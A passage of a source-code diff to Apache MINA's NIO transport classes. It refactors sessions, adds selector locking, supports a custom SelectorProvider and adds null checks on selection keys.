java.nio.channels.DatagramChannel; import java.util.Collections; import java.util.Iterator; +import java.util.concurrent.Executor; import org.apache.mina.core.polling.AbstractPollingIoConnector; import org.apache.mina.core.service.IoConnector; import org.apache.mina.core.service.IoProcessor; +import org.apache.mina.core.service.SimpleIoProcessorPool; import org.apache.mina.core.service.TransportMetadata; import org.apache.mina.transport.socket.DatagramConnector; import org.apache.mina.transport.socket.DatagramSessionConfig; @@ -38,9 +41,8 @@ * * @author Apache MINA Project */ -public final class NioDatagramConnector - extends AbstractPollingIoConnector - implements DatagramConnector { +public final class NioDatagramConnector extends AbstractPollingIoConnector implements +DatagramConnector { /** * Creates a new instance. @@ -51,6 +53,8 @@ public NioDatagramConnector() { /** * Creates a new instance. + * + * @param processorCount The number of IoProcessor instance to create */ public NioDatagramConnector(int processorCount) { super(new DefaultDatagramSessionConfig(), NioProcessor.class, processorCount); @@ -58,76 +62,110 @@ public NioDatagramConnector(int processorCount) { /** * Creates a new instance. + * + * @param processor The IoProcessor instance to use */ public NioDatagramConnector(IoProcessor processor) { super(new DefaultDatagramSessionConfig(), processor); } - + /** - * Constructor for {@link NioDatagramConnector} with default configuration which will use a built-in - * thread pool executor to manage the given number of processor instances. The processor class must have - * a constructor that accepts ExecutorService or Executor as its single argument, or, failing that, a + * Constructor for {@link NioDatagramConnector} with default configuration which will use a built-in + * thread pool executor to manage the given number of processor instances. The processor class must have + * a constructor that accepts ExecutorService or Executor as its single argument, or, failing that, a * no-arg constructor. * * @param processorClass the processor class. * @param processorCount the number of processors to instantiate. - * @see org.apache.mina.core.service.SimpleIoProcessorPool#SimpleIoProcessorPool(Class, Executor, int) + * @see SimpleIoProcessorPool#SimpleIoProcessorPool(Class, Executor, int, java.nio.channels.spi.SelectorProvider) * @since 2.0.0-M4 */ - public NioDatagramConnector(Class> processorClass, - int processorCount) { + public NioDatagramConnector(Class> processorClass, int processorCount) { super(new DefaultDatagramSessionConfig(), processorClass, processorCount); } /** - * Constructor for {@link NioDatagramConnector} with default configuration with default configuration which will use a built-in - * thread pool executor to manage the default number of processor instances. The processor class must have - * a constructor that accepts ExecutorService or Executor as its single argument, or, failing that, a - * no-arg constructor. The default number of instances is equal to the number of processor cores + * Constructor for {@link NioDatagramConnector} with default configuration with default configuration which will use a built-in + * thread pool executor to manage the default number of processor instances. The processor class must have + * a constructor that accepts ExecutorService or Executor as its single argument, or, failing that, a + * no-arg constructor. The default number of instances is equal to the number of processor cores * in the system, plus one. * * @param processorClass the processor class. - * @see org.apache.mina.core.service.SimpleIoProcessorPool#SimpleIoProcessorPool(Class, Executor, int) - * @see org.apache.mina.core.service.SimpleIoProcessorPool#DEFAULT_SIZE + * @see SimpleIoProcessorPool#SimpleIoProcessorPool(Class, Executor, int, java.nio.channels.spi.SelectorProvider) * @since 2.0.0-M4 */ public NioDatagramConnector(Class> processorClass) { super(new DefaultDatagramSessionConfig(), processorClass); } + /** + * {@inheritDoc} + */ + @Override public TransportMetadata getTransportMetadata() { return NioDatagramSession.METADATA; } - + + /** + * {@inheritDoc} + */ @Override public DatagramSessionConfig getSessionConfig() { - return (DatagramSessionConfig) super.getSessionConfig(); + return (DatagramSessionConfig) sessionConfig; } - + + /** + * {@inheritDoc} + */ @Override public InetSocketAddress getDefaultRemoteAddress() { return (InetSocketAddress) super.getDefaultRemoteAddress(); } - + + /** + * {@inheritDoc} + */ + @Override public void setDefaultRemoteAddress(InetSocketAddress defaultRemoteAddress) { super.setDefaultRemoteAddress(defaultRemoteAddress); } + /** + * {@inheritDoc} + */ @Override protected void init() throws Exception { // Do nothing } + /** + * {@inheritDoc} + */ @Override - protected DatagramChannel newHandle(SocketAddress localAddress) - throws Exception { + protected DatagramChannel newHandle(SocketAddress localAddress) throws Exception { DatagramChannel ch = DatagramChannel.open(); try { if (localAddress != null) { - ch.socket().bind(localAddress); + try { + ch.socket().bind(localAddress); + setDefaultLocalAddress(localAddress); + } catch (IOException ioe) { + // Add some info regarding the address we try to bind to the + // message + String newMessage = "Error while binding on " + localAddress + "\n" + "original message : " + + ioe.getMessage(); + Exception e = new IOException(newMessage); + e.initCause(ioe.getCause()); + + // and close the channel + ch.close(); + + throw e; + } } - + return ch; } catch (Exception e) { // If we got an exception while binding the datagram, @@ -137,66 +175,94 @@ protected DatagramChannel newHandle(SocketAddress localAddress) } } + /** + * {@inheritDoc} + */ @Override - protected boolean connect(DatagramChannel handle, - SocketAddress remoteAddress) throws Exception { + protected boolean connect(DatagramChannel handle, SocketAddress remoteAddress) throws Exception { handle.connect(remoteAddress); return true; } + /** + * {@inheritDoc} + */ @Override - protected NioSession newSession(IoProcessor processor, - DatagramChannel handle) { + protected NioSession newSession(IoProcessor processor, DatagramChannel handle) { NioSession session = new NioDatagramSession(this, handle, processor); session.getConfig().setAll(getSessionConfig()); return session; } + /** + * {@inheritDoc} + */ @Override protected void close(DatagramChannel handle) throws Exception { handle.disconnect(); handle.close(); } - + + /** + * {@inheritDoc} + */ // Unused extension points. @Override - @SuppressWarnings("unchecked") protected Iterator allHandles() { - return Collections.EMPTY_LIST.iterator(); + return Collections.emptyIterator(); } + /** + * {@inheritDoc} + */ @Override protected ConnectionRequest getConnectionRequest(DatagramChannel handle) { throw new UnsupportedOperationException(); } + /** + * {@inheritDoc} + */ @Override protected void destroy() throws Exception { // Do nothing } + /** + * {@inheritDoc} + */ @Override protected boolean finishConnect(DatagramChannel handle) throws Exception { throw new UnsupportedOperationException(); } + /** + * {@inheritDoc} + */ @Override - protected void register(DatagramChannel handle, ConnectionRequest request) - throws Exception { + protected void register(DatagramChannel handle, ConnectionRequest request) throws Exception { throw new UnsupportedOperationException(); } + /** + * {@inheritDoc} + */ @Override protected int select(int timeout) throws Exception { return 0; } + /** + * {@inheritDoc} + */ @Override - @SuppressWarnings("unchecked") protected Iterator selectedHandles() { - return Collections.EMPTY_LIST.iterator(); + return Collections.emptyIterator(); } + /** + * {@inheritDoc} + */ @Override protected void wakeup() { // Do nothing diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramSession.java b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramSession.java index e015bac0e7..22068f68b2 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramSession.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramSession.java @@ -22,13 +22,9 @@ import java.net.InetSocketAddress; import java.net.SocketAddress; import java.nio.channels.DatagramChannel; -import java.nio.channels.SelectionKey; import org.apache.mina.core.buffer.IoBuffer; -import org.apache.mina.core.filterchain.DefaultIoFilterChain; -import org.apache.mina.core.filterchain.IoFilterChain; import org.apache.mina.core.service.DefaultTransportMetadata; -import org.apache.mina.core.service.IoHandler; import org.apache.mina.core.service.IoProcessor; import org.apache.mina.core.service.IoService; import org.apache.mina.core.service.TransportMetadata; @@ -41,89 +37,75 @@ * @author Apache MINA Project */ class NioDatagramSession extends NioSession { + static final TransportMetadata METADATA = new DefaultTransportMetadata("nio", "datagram", true, false, + InetSocketAddress.class, DatagramSessionConfig.class, IoBuffer.class); - static final TransportMetadata METADATA = - new DefaultTransportMetadata( - "nio", "datagram", true, false, - InetSocketAddress.class, - DatagramSessionConfig.class, IoBuffer.class); - - private final IoService service; - private final DatagramSessionConfig config; - private final IoFilterChain filterChain = new DefaultIoFilterChain(this); - private final DatagramChannel ch; - private final IoHandler handler; private final InetSocketAddress localAddress; - private final InetSocketAddress remoteAddress; - private SelectionKey key; + private final InetSocketAddress remoteAddress; /** * Creates a new acceptor-side session instance. */ - NioDatagramSession(IoService service, - DatagramChannel ch, IoProcessor processor, - SocketAddress remoteAddress) { - super(processor); - this.service = service; - this.ch = ch; - this.config = new NioDatagramSessionConfig(ch); - this.config.setAll(service.getSessionConfig()); - this.handler = service.getHandler(); + NioDatagramSession(IoService service, DatagramChannel channel, IoProcessor processor, + SocketAddress remoteAddress) { + super(processor, service, channel); + config = new NioDatagramSessionConfig(channel); + config.setAll(service.getSessionConfig()); this.remoteAddress = (InetSocketAddress) remoteAddress; - this.localAddress = (InetSocketAddress) ch.socket().getLocalSocketAddress(); + this.localAddress = (InetSocketAddress) channel.socket().getLocalSocketAddress(); } /** * Creates a new connector-side session instance. */ - NioDatagramSession(IoService service, DatagramChannel ch, IoProcessor processor) { - this(service, ch, processor, ch.socket().getRemoteSocketAddress()); - } - - public IoService getService() { - return service; - } - - public DatagramSessionConfig getConfig() { - return config; - } - - public IoFilterChain getFilterChain() { - return filterChain; + NioDatagramSession(IoService service, DatagramChannel channel, IoProcessor processor) { + this(service, channel, processor, channel.socket().getRemoteSocketAddress()); } + /** + * {@inheritDoc} + */ @Override - DatagramChannel getChannel() { - return ch; + public DatagramSessionConfig getConfig() { + return (DatagramSessionConfig) config; } + /** + * {@inheritDoc} + */ @Override - SelectionKey getSelectionKey() { - return key; + public DatagramChannel getChannel() { + return (DatagramChannel) channel; } + /** + * {@inheritDoc} + */ @Override - void setSelectionKey(SelectionKey key) { - this.key = key; - } - - public IoHandler getHandler() { - return handler; - } - public TransportMetadata getTransportMetadata() { return METADATA; } + /** + * {@inheritDoc} + */ + @Override public InetSocketAddress getRemoteAddress() { return remoteAddress; } + /** + * {@inheritDoc} + */ + @Override public InetSocketAddress getLocalAddress() { return localAddress; } + /** + * {@inheritDoc} + */ @Override public InetSocketAddress getServiceAddress() { return (InetSocketAddress) super.getServiceAddress(); diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramSessionConfig.java b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramSessionConfig.java index 7e3e93bcbe..97c9abd8c6 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramSessionConfig.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioDatagramSessionConfig.java @@ -54,6 +54,7 @@ class NioDatagramSessionConfig extends AbstractDatagramSessionConfig { * * @see DatagramSocket#getReceiveBufferSize() */ + @Override public int getReceiveBufferSize() { try { return channel.socket().getReceiveBufferSize(); @@ -72,8 +73,9 @@ public int getReceiveBufferSize() { * @throws RuntimeIoException if the socket is closed or if we * had a SocketException * - * @see DatagramSocket#setReceiveBufferSize() + * @see DatagramSocket#setReceiveBufferSize(int) */ + @Override public void setReceiveBufferSize(int receiveBufferSize) { try { channel.socket().setReceiveBufferSize(receiveBufferSize); @@ -89,6 +91,7 @@ public void setReceiveBufferSize(int receiveBufferSize) { * @throws RuntimeIoException If the socket is closed or if we get an * {@link SocketException} */ + @Override public boolean isBroadcast() { try { return channel.socket().getBroadcast(); @@ -97,6 +100,7 @@ public boolean isBroadcast() { } } + @Override public void setBroadcast(boolean broadcast) { try { channel.socket().setBroadcast(broadcast); @@ -110,6 +114,7 @@ public void setBroadcast(boolean broadcast) { * @throws RuntimeIoException If the socket is closed or if we get an * {@link SocketException} */ + @Override public int getSendBufferSize() { try { return channel.socket().getSendBufferSize(); @@ -123,6 +128,7 @@ public int getSendBufferSize() { * @throws RuntimeIoException If the socket is closed or if we get an * {@link SocketException} */ + @Override public void setSendBufferSize(int sendBufferSize) { try { channel.socket().setSendBufferSize(sendBufferSize); @@ -138,6 +144,7 @@ public void setSendBufferSize(int sendBufferSize) { * @throws RuntimeIoException If the socket is closed or if we get an * {@link SocketException} */ + @Override public boolean isReuseAddress() { try { return channel.socket().getReuseAddress(); @@ -151,6 +158,7 @@ public boolean isReuseAddress() { * @throws RuntimeIoException If the socket is closed or if we get an * {@link SocketException} */ + @Override public void setReuseAddress(boolean reuseAddress) { try { channel.socket().setReuseAddress(reuseAddress); @@ -168,6 +176,7 @@ public void setReuseAddress(boolean reuseAddress) { * @throws RuntimeIoException If the socket is closed or if we get an * {@link SocketException} */ + @Override public int getTrafficClass() { try { return channel.socket().getTrafficClass(); @@ -181,6 +190,7 @@ public int getTrafficClass() { * @throws RuntimeIoException If the socket is closed or if we get an * {@link SocketException} */ + @Override public void setTrafficClass(int trafficClass) { try { channel.socket().setTrafficClass(trafficClass); diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioProcessor.java b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioProcessor.java index 01634dbb7b..5baa7efe53 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioProcessor.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioProcessor.java @@ -26,9 +26,12 @@ import java.nio.channels.SelectionKey; import java.nio.channels.Selector; import java.nio.channels.SocketChannel; +import java.nio.channels.spi.SelectorProvider; import java.util.Iterator; import java.util.Set; import java.util.concurrent.Executor; +import java.util.concurrent.locks.ReadWriteLock; +import java.util.concurrent.locks.ReentrantReadWriteLock; import org.apache.mina.core.RuntimeIoException; import org.apache.mina.core.buffer.IoBuffer; @@ -37,23 +40,28 @@ import org.apache.mina.core.session.SessionState; /** - * TODO Add documentation - * + * A processor for incoming and outgoing data get and written on a TCP socket. + * * @author Apache MINA Project */ -public final class NioProcessor extends AbstractPollingIoProcessor { +public class NioProcessor extends AbstractPollingIoProcessor { /** The selector associated with this processor */ - private Selector selector; + protected Selector selector; + + /** A lock used to protect concurent access to the selector */ + protected ReadWriteLock selectorLock = new ReentrantReadWriteLock(); + + protected SelectorProvider selectorProvider = null; /** - * + * * Creates a new instance of NioProcessor. - * - * @param executor + * + * @param executor The executor to use */ public NioProcessor(Executor executor) { super(executor); - + try { // Open a new selector selector = Selector.open(); @@ -62,35 +70,107 @@ public NioProcessor(Executor executor) { } } + /** + * + * Creates a new instance of NioProcessor. + * + * @param executor The executor to use + * @param selectorProvider The Selector provider to use + */ + public NioProcessor(Executor executor, SelectorProvider selectorProvider) { + super(executor); + + try { + // Open a new selector + if (selectorProvider == null) { + selector = Selector.open(); + } else { + this.selectorProvider = selectorProvider; + selector = selectorProvider.openSelector(); + } + } catch (IOException e) { + throw new RuntimeIoException("Failed to open a selector.", e); + } + } + @Override - protected void dispose0() throws Exception { - selector.close(); + protected void doDispose() throws Exception { + selectorLock.readLock().lock(); + + try { + selector.close(); + } finally { + selectorLock.readLock().unlock(); + } } @Override protected int select(long timeout) throws Exception { - return selector.select(timeout); + selectorLock.readLock().lock(); + + try { + return selector.select(timeout); + } finally { + selectorLock.readLock().unlock(); + } } @Override protected int select() throws Exception { - return selector.select(); + selectorLock.readLock().lock(); + + try { + return selector.select(); + } finally { + selectorLock.readLock().unlock(); + } } @Override protected boolean isSelectorEmpty() { - return selector.keys().isEmpty(); + selectorLock.readLock().lock(); + + try { + return selector.keys().isEmpty(); + } finally { + selectorLock.readLock().unlock(); + } } @Override protected void wakeup() { wakeupCalled.getAndSet(true); - selector.wakeup(); + selectorLock.readLock().lock(); + + try { + selector.wakeup(); + } finally { + selectorLock.readLock().unlock(); + } } @Override protected Iterator allSessions() { - return new IoSessionIterator(selector.keys()); + selectorLock.readLock().lock(); + + try { + return new IoSessionIterator(selector.keys()); + } finally { + selectorLock.readLock().unlock(); + } + } + + @Override + protected int allSessionsCount() + { + selectorLock.readLock().lock(); + + try { + return selector.keys().size(); + } finally { + selectorLock.readLock().unlock(); + } + } @SuppressWarnings("synthetic-access") @@ -103,18 +183,28 @@ protected Iterator selectedSessions() { protected void init(NioSession session) throws Exception { SelectableChannel ch = (SelectableChannel) session.getChannel(); ch.configureBlocking(false); - session.setSelectionKey(ch.register(selector, SelectionKey.OP_READ, - session)); + selectorLock.readLock().lock(); + + try { + session.setSelectionKey(ch.register(selector, SelectionKey.OP_READ, session)); + } finally { + selectorLock.readLock().unlock(); + } } @Override protected void destroy(NioSession session) throws Exception { ByteChannel ch = session.getChannel(); + SelectionKey key = session.getSelectionKey(); + if (key != null) { key.cancel(); } - ch.close(); + + if ( ch.isOpen() ) { + ch.close(); + } } /** @@ -122,37 +212,51 @@ protected void destroy(NioSession session) throws Exception { * trash the buggy selector and create a new one, registering all the * sockets on it. */ + @Override protected void registerNewSelector() throws IOException { - synchronized (selector) { + selectorLock.writeLock().lock(); + + try { Set keys = selector.keys(); + Selector newSelector; // Open a new selector - Selector newSelector = Selector.open(); + if (selectorProvider == null) { + newSelector = Selector.open(); + } else { + newSelector = selectorProvider.openSelector(); + } // Loop on all the registered keys, and register them on the new selector for (SelectionKey key : keys) { SelectableChannel ch = key.channel(); - + // Don't forget to attache the session, and back ! - NioSession session = (NioSession)key.attachment(); + NioSession session = (NioSession) key.attachment(); SelectionKey newKey = ch.register(newSelector, key.interestOps(), session); - session.setSelectionKey( newKey ); + session.setSelectionKey(newKey); } // Now we can close the old selector and switch it selector.close(); selector = newSelector; + } finally { + selectorLock.writeLock().unlock(); } + } /** * {@inheritDoc} */ + @Override protected boolean isBrokenConnection() throws IOException { // A flag set to true if we find a broken session boolean brokenSession = false; - synchronized (selector) { + selectorLock.readLock().lock(); + + try { // Get the selector keys Set keys = selector.keys(); @@ -161,10 +265,8 @@ protected boolean isBrokenConnection() throws IOException { for (SelectionKey key : keys) { SelectableChannel channel = key.channel(); - if ((((channel instanceof DatagramChannel) && ((DatagramChannel) channel) - .isConnected())) - || ((channel instanceof SocketChannel) && ((SocketChannel) channel) - .isConnected())) { + if (((channel instanceof DatagramChannel) && !((DatagramChannel) channel).isConnected()) + || ((channel instanceof SocketChannel) && !((SocketChannel) channel).isConnected())) { // The channel is not connected anymore. Cancel // the associated key then. key.cancel(); @@ -173,6 +275,8 @@ protected boolean isBrokenConnection() throws IOException { brokenSession = true; } } + } finally { + selectorLock.readLock().unlock(); } return brokenSession; @@ -186,7 +290,7 @@ protected SessionState getState(NioSession session) { SelectionKey key = session.getSelectionKey(); if (key == null) { - // The channel is not yet registred to a selector + // The channel is not yet regisetred to a selector return SessionState.OPENING; } @@ -202,35 +306,42 @@ protected SessionState getState(NioSession session) { @Override protected boolean isReadable(NioSession session) { SelectionKey key = session.getSelectionKey(); - return key.isValid() && key.isReadable(); + + return (key != null) && key.isValid() && key.isReadable(); } @Override protected boolean isWritable(NioSession session) { SelectionKey key = session.getSelectionKey(); - return key.isValid() && key.isWritable(); + + return (key != null) && key.isValid() && key.isWritable(); } @Override protected boolean isInterestedInRead(NioSession session) { SelectionKey key = session.getSelectionKey(); - return key.isValid() && (key.interestOps() & SelectionKey.OP_READ) != 0; + + return (key != null) && key.isValid() && ((key.interestOps() & SelectionKey.OP_READ) != 0); } @Override protected boolean isInterestedInWrite(NioSession session) { SelectionKey key = session.getSelectionKey(); - return key.isValid() - && (key.interestOps() & SelectionKey.OP_WRITE) != 0; + + return (key != null) && key.isValid() && ((key.interestOps() & SelectionKey.OP_WRITE) != 0); } /** * {@inheritDoc} */ @Override - protected void setInterestedInRead(NioSession session, boolean isInterested) - throws Exception { + protected void setInterestedInRead(NioSession session, boolean isInterested) throws Exception { SelectionKey key = session.getSelectionKey(); + + if ((key == null) || !key.isValid()) { + return; + } + int oldInterestOps = key.interestOps(); int newInterestOps = oldInterestOps; @@ -241,7 +352,14 @@ protected void setInterestedInRead(NioSession session, boolean isInterested) } if (oldInterestOps != newInterestOps) { - key.interestOps(newInterestOps); + // Protect the selector against concurrent accesses + selectorLock.readLock().lock(); + + try { + key.interestOps(newInterestOps); + } finally { + selectorLock.readLock().unlock(); + } } } @@ -249,37 +367,40 @@ protected void setInterestedInRead(NioSession session, boolean isInterested) * {@inheritDoc} */ @Override - protected void setInterestedInWrite(NioSession session, boolean isInterested) - throws Exception { + protected void setInterestedInWrite(NioSession session, boolean isInterested) throws Exception { SelectionKey key = session.getSelectionKey(); - if (key == null) { + if ((key == null) || !key.isValid()) { return; } - + int newInterestOps = key.interestOps(); if (isInterested) { newInterestOps |= SelectionKey.OP_WRITE; - //newInterestOps &= ~SelectionKey.OP_READ; } else { newInterestOps &= ~SelectionKey.OP_WRITE; - //newInterestOps |= SelectionKey.OP_READ; } - key.interestOps(newInterestOps); + // Protect the selector against concurrent accesses + selectorLock.readLock().lock(); + + try { + key.interestOps(newInterestOps); + } finally { + selectorLock.readLock().unlock(); + } } @Override protected int read(NioSession session, IoBuffer buf) throws Exception { ByteChannel channel = session.getChannel(); - - return session.getChannel().read(buf.buf()); + + return channel.read(buf.buf()); } @Override - protected int write(NioSession session, IoBuffer buf, int length) - throws Exception { + protected int write(NioSession session, IoBuffer buf, int length) throws IOException { if (buf.remaining() <= length) { return session.getChannel().write(buf.buf()); } @@ -294,16 +415,14 @@ protected int write(NioSession session, IoBuffer buf, int length) } @Override - protected int transferFile(NioSession session, FileRegion region, int length) - throws Exception { + protected int transferFile(NioSession session, FileRegion region, int length) throws Exception { try { - return (int) region.getFileChannel().transferTo( - region.getPosition(), length, session.getChannel()); + return (int) region.getFileChannel().transferTo(region.getPosition(), length, session.getChannel()); } catch (IOException e) { // Check to see if the IOException is being thrown due to // http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=5103988 String message = e.getMessage(); - if (message != null && message.contains("temporarily unavailable")) { + if ((message != null) && message.contains("temporarily unavailable")) { return 0; } @@ -314,14 +433,14 @@ protected int transferFile(NioSession session, FileRegion region, int length) /** * An encapsulating iterator around the {@link Selector#selectedKeys()} or * the {@link Selector#keys()} iterator; + * @param The IoSession it iterates */ - protected static class IoSessionIterator implements - Iterator { + protected static class IoSessionIterator implements Iterator { private final Iterator iterator; /** * Create this iterator as a wrapper on top of the selectionKey Set. - * + * * @param keys * The set of selected sessions */ @@ -332,6 +451,7 @@ private IoSessionIterator(Set keys) { /** * {@inheritDoc} */ + @Override public boolean hasNext() { return iterator.hasNext(); } @@ -339,17 +459,19 @@ public boolean hasNext() { /** * {@inheritDoc} */ + @Override public NioSession next() { SelectionKey key = iterator.next(); - NioSession nioSession = (NioSession) key.attachment(); - return nioSession; + + return (NioSession) key.attachment(); } /** * {@inheritDoc} */ + @Override public void remove() { iterator.remove(); } } -} \ No newline at end of file +} diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSession.java b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSession.java index ab0f483d66..08229e418b 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSession.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSession.java @@ -20,9 +20,13 @@ package org.apache.mina.transport.socket.nio; import java.nio.channels.ByteChannel; +import java.nio.channels.Channel; import java.nio.channels.SelectionKey; +import org.apache.mina.core.filterchain.DefaultIoFilterChain; +import org.apache.mina.core.filterchain.IoFilterChain; import org.apache.mina.core.service.IoProcessor; +import org.apache.mina.core.service.IoService; import org.apache.mina.core.session.AbstractIoSession; import org.apache.mina.core.session.IoSession; @@ -34,41 +38,75 @@ public abstract class NioSession extends AbstractIoSession { /** The NioSession processor */ protected final IoProcessor processor; - - + + /** The communication channel */ + protected final Channel channel; + + /** The SelectionKey used for this session */ + private SelectionKey key; + + /** The FilterChain created for this session */ + private final IoFilterChain filterChain; + /** * * Creates a new instance of NioSession, with its associated IoProcessor. *
    * This method is only called by the inherited class. * - * @param processor The associated IoProcessor + * @param processor The associated {@link IoProcessor} + * @param service The associated {@link IoService} + * @param channel The associated {@link Channel} */ - protected NioSession(IoProcessor processor) { + protected NioSession(IoProcessor processor, IoService service, Channel channel) { + super(service); + this.channel = channel; this.processor = processor; + filterChain = new DefaultIoFilterChain(this); } /** * @return The ByteChannel associated with this {@link IoSession} */ - abstract ByteChannel getChannel(); - + public abstract ByteChannel getChannel(); + + /** + * {@inheritDoc} + */ + @Override + public IoFilterChain getFilterChain() { + return filterChain; + } + /** * @return The {@link SelectionKey} associated with this {@link IoSession} */ - abstract SelectionKey getSelectionKey(); - + /* No qualifier*/SelectionKey getSelectionKey() { + return key; + } + /** * Sets the {@link SelectionKey} for this {@link IoSession} * * @param key The new {@link SelectionKey} */ - abstract void setSelectionKey(SelectionKey key); + /* No qualifier*/void setSelectionKey(SelectionKey key) { + this.key = key; + } /** * {@inheritDoc} */ + @Override public IoProcessor getProcessor() { return processor; } + + /** + * {@inheritDoc} + */ + @Override + public final boolean isActive() { + return key.isValid(); + } } diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketAcceptor.java b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketAcceptor.java index 18ac3521bd..83fac70454 100644 --- a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketAcceptor.java +++ b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketAcceptor.java @@ -19,13 +19,16 @@ */ package org.apache.mina.transport.socket.nio; +import java.io.IOException; import java.net.InetSocketAddress; import java.net.ServerSocket; import java.net.SocketAddress; +import java.net.StandardSocketOptions; import java.nio.channels.SelectionKey; import java.nio.channels.Selector; import java.nio.channels.ServerSocketChannel; import java.nio.channels.SocketChannel; +import java.nio.channels.spi.SelectorProvider; import java.util.Collection; import java.util.Iterator; import java.util.concurrent.Executor; @@ -33,6 +36,7 @@ import org.apache.mina.core.polling.AbstractPollingIoAcceptor; import org.apache.mina.core.service.IoAcceptor; import org.apache.mina.core.service.IoProcessor; +import org.apache.mina.core.service.IoService; import org.apache.mina.core.service.SimpleIoProcessorPool; import org.apache.mina.core.service.TransportMetadata; import org.apache.mina.transport.socket.DefaultSocketSessionConfig; @@ -45,19 +49,11 @@ * * @author Apache MINA Project */ -public final class NioSocketAcceptor - extends AbstractPollingIoAcceptor - implements SocketAcceptor { +public class NioSocketAcceptor extends AbstractPollingIoAcceptor +implements SocketAcceptor { - /** - * Define the number of socket that can wait to be accepted. Default - * to 50 (as in the SocketServer default). - */ - private int backlog = 50; - - private boolean reuseAddress = false; - - private volatile Selector selector; + protected volatile Selector selector; + protected volatile SelectorProvider selectorProvider = null; /** * Constructor for {@link NioSocketAcceptor} using default parameters (multiple thread model). @@ -68,11 +64,11 @@ public NioSocketAcceptor() { } /** - * Constructor for {@link NioSocketAcceptor} using default parameters, and + * Constructor for {@link NioSocketAcceptor} using default parameters, and * given number of {@link NioProcessor} for multithreading I/O operations. * * @param processorCount the number of processor to create and place in a - * {@link SimpleIoProcessorPool} + * {@link SimpleIoProcessorPool} */ public NioSocketAcceptor(int processorCount) { super(new DefaultSocketSessionConfig(), NioProcessor.class, processorCount); @@ -80,7 +76,7 @@ public NioSocketAcceptor(int processorCount) { } /** - * Constructor for {@link NioSocketAcceptor} with default configuration but a + * Constructor for {@link NioSocketAcceptor} with default configuration but a * specific {@link IoProcessor}, useful for sharing the same processor over multiple * {@link IoService} of the same type. * @param processor the processor to use for managing I/O events @@ -91,8 +87,8 @@ public NioSocketAcceptor(IoProcessor processor) { } /** - * Constructor for {@link NioSocketAcceptor} with a given {@link Executor} for handling - * connection events and a given {@link IoProcessor} for handling I/O events, useful for + * Constructor for {@link NioSocketAcceptor} with a given {@link Executor} for handling + * connection events and a given {@link IoProcessor} for handling I/O events, useful for * sharing the same processor and executor over multiple {@link IoService} of the same type. * @param executor the executor for connection * @param processor the processor for I/O operations @@ -102,6 +98,21 @@ public NioSocketAcceptor(Executor executor, IoProcessor processor) { ((DefaultSocketSessionConfig) getSessionConfig()).init(this); } + /** + * Constructor for {@link NioSocketAcceptor} using default parameters, and + * given number of {@link NioProcessor} for multithreading I/O operations, and + * a custom SelectorProvider for NIO + * + * @param processorCount the number of processor to create and place in a + * @param selectorProvider teh SelectorProvider to use + * {@link SimpleIoProcessorPool} + */ + public NioSocketAcceptor(int processorCount, SelectorProvider selectorProvider) { + super(new DefaultSocketSessionConfig(), NioProcessor.class, processorCount, selectorProvider); + ((DefaultSocketSessionConfig) getSessionConfig()).init(this); + this.selectorProvider = selectorProvider; + } + /** * {@inheritDoc} */ @@ -109,30 +120,66 @@ public NioSocketAcceptor(Executor executor, IoProcessor processor) { protected void init() throws Exception { selector = Selector.open(); } + + /** + * {@inheritDoc} + */ + @Override + protected void init(SelectorProvider selectorProvider) throws Exception { + this.selectorProvider = selectorProvider; + + if (selectorProvider == null) { + selector = Selector.open(); + } else { + selector = selectorProvider.openSelector(); + } + } /** * {@inheritDoc} */ @Override - protected void destroy() throws Exception { - if (selector != null) { - selector.close(); + protected void handleUnbound(Collection unboundFutures) throws Exception { + // If we're on Java >= 11, unbindings may take effect only on the next select() + // TODO: add a check (java.specification.version?) to do this only on a JVM >= 11? + if (!unboundFutures.isEmpty()) { + int selected = 0; + try { + // Simply select() would also work since wakeup() *was* called, but let's be explicit. + selected = selector.selectNow(); + } finally { + super.handleUnbound(unboundFutures); // Marks the futures as done + if (hasUnbindings()) { + // Depending on when these new unbindings were added, their wakeup() call may just have been + // cancelled by the above select. Re-instate it, so that the next select will not block, as + // expected. + wakeup(); + } + } + if (selected > 0) { + processHandles(selectedHandles()); + } + } else { + super.handleUnbound(unboundFutures); } } /** * {@inheritDoc} */ - public TransportMetadata getTransportMetadata() { - return NioSocketSession.METADATA; + @Override + protected void destroy() throws Exception { + if (selector != null) { + selector.close(); + } } /** * {@inheritDoc} */ @Override - public SocketSessionConfig getSessionConfig() { - return (SocketSessionConfig) super.getSessionConfig(); + public TransportMetadata getTransportMetadata() { + return NioSocketSession.METADATA; } /** @@ -154,6 +201,7 @@ public InetSocketAddress getDefaultLocalAddress() { /** * {@inheritDoc} */ + @Override public void setDefaultLocalAddress(InetSocketAddress localAddress) { setDefaultLocalAddress((SocketAddress) localAddress); } @@ -161,42 +209,45 @@ public void setDefaultLocalAddress(InetSocketAddress localAddress) { /** * {@inheritDoc} */ - public boolean isReuseAddress() { - return reuseAddress; - } + @Override + protected NioSession accept(IoProcessor processor, ServerSocketChannel handle) throws Exception { + SelectionKey key = null; - /** - * {@inheritDoc} - */ - public void setReuseAddress(boolean reuseAddress) { - synchronized (bindLock) { - if (isActive()) { - throw new IllegalStateException( - "reuseAddress can't be set while the acceptor is bound."); - } + if (handle != null) { + key = handle.keyFor(selector); + } - this.reuseAddress = 